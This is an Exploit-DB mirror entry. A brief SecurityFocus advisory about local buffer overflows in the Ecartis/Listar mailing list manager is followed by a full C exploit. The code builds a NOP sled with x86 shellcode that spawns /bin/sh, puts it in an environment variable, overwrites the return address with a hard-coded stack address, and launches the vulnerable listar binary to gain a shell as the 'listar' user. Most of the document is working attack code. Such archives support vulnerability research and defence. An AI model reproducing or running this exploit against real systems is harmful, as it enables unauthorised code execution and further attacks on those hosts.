exploit-db-mirror/exploits/linux/local/21341.c

// source: https://www.securityfocus.com/bid/4271/info

Ecartis is the new name for the Listar software product. Listar is a mailing list management package for Linux, BSD, and other Unix like operating systems.

Multiple local buffer overflow conditions have been reported in some versions of Ecartis. If successfully exploited, this may result in the execution of arbitrary code. Listar normally runs as the non-privileged user 'listar'. Exploitation of this vulnerability may allow the malicious party to launch further attacks against the system as the user 'listar'. 

/*
 * /home/listar-0.129a/listar
 *
 * The vulnerability was found by KF / Snosoft (http://www.snosoft.com)
 * Exploit coded up by The Itch / Promisc (http://www.promisc.org)
 *
 * This exploit was developed on the Snosoft vulnerability research machines
 *
 * - The Itch
 * - itchie@promisc.org
 *
 * - Technical details concerning the exploit -
 *
 * 1) Buffer overflow occurs after writing 990 bytes into the buffer at the command line
 *    (990 to overwrite ebp, 996 to overwrite eip).
 * 2) The code string with the return address will be unaligned.
 *
 */

#include <stdio.h>
#include <stdlib.h>

#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
#define DEFAULT_BUFFER_SIZE 1000

char shellcode[] =
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char *argv[])
{
        char *buff;
        char *egg;
        char *ptr;
        long *addr_ptr;
        long addr;
        int bsize = DEFAULT_BUFFER_SIZE;
        int eggsize = DEFAULT_EGG_SIZE;
        int i;
        int get_sp = 0xbffff4e0;

        if(argc > 1) { bsize = atoi(argv[1]); }

        if(!(buff = malloc(bsize)))
        {
                printf("unable to allocate memory for %d bytes\n", bsize);
                exit(1);
        }

        if(!(egg = malloc(eggsize)))
        {
                printf("unable to allocate memory for %d bytes\n", eggsize);
                exit(1);
        }

        printf("/home/listar-0.129a/listar\n");
        printf("Vulnerability found by KF / http://www.snosoft.com\n");
        printf("Coded by The Itch / http://www.promisc.org\n\n");
        printf("Using return address: 0x%x\n", get_sp);
        printf("Using buffersize    : %d\n", bsize);

        /* alignment */
        ptr = buff + 2;

        addr_ptr = (long *) ptr;
        for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = get_sp; }

        ptr = egg;
        for(i = 0; i < eggsize - strlen(shellcode) -1; i++)
        {
                *(ptr++) = NOP;
        }

        for(i = 0; i < strlen(shellcode); i++)
        {
                *(ptr++) = shellcode[i];
        }

        egg[eggsize - 1] = '\0';
        buff[bsize -1] = '\0';
        memcpy(buff, "RET=", 4);
        memcpy(egg, "EGG=", 4);
        putenv(buff);
        putenv(egg);
        system("/home/listar-0.129a/listar $RET");

        return 0;
}